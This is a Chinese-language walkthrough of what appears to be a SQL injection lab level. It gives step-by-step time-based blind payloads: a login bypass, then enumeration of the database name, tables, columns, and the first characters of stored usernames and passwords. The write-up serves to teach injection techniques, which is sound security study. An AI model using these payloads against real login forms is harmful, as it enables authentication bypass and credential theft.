这一关还是和上一关一样 无论是正确还是错误 都不会存在回显 所以说既不能进行联合注入 又不能进行报错注入 所以只能用布尔盲注或者说时间注入 这一关我们利用时间注入的手法进行解题
首先进行注入点的类型的判断 还是用万能密码去解决他
输入如下
1") or 1=1#
显示成功登录 所以注入点的类型就是如上所示
然后进行数据库的名称长度的判断
输入如下
1") or if(length(database())=8,sleep(10),1)#
看到页面响应了很久还未停下来 说明数据库的名称个数就是8个
接着判断数据库的名称的首字母
输入如下
1") or if(ascii(substr(database(),1,1))=115,sleep(10),0);#
看到相应良久 说明数据库的首字母就是s
然后进行表格数量的判断
输入如下
1") or if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(10),0);#
还在响应 说明表格数量就是4个
然后进行表格第一个名称的个数
输入如下
1") or if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,sleep(10),0)#
仍然处在响应状态
接着进行表格首字母的判断
输入如下
1") or if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);#
仍然在响应中 嗨嗨
接着进行字段数量的判断
输入如下
1") or if((select count(column_name) from information_schema.columns where table_name='users')=3,sleep(10),1)#
还在响应 说明字段数量就是3个
然后进行第一个字段的名称的个数
输入如下
1") or if((select length(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)=2,sleep(10),1)#
响应良久 所以第一个字段的名称个数为2个
然后进行第一个字段的名称获取
输入如下
1") or if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(10),1)#
响应良久 说明第一个字段的首字母就是i
然后进行用户名和密码的信息的判断 主要是首字母
输入如下
1") or if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(10),1)#
响应良久 说明第一个用户名的首字母为D
其他的也可以以上述类推
我这里还是推荐使用脚本去解题
成功 嗨嗨!!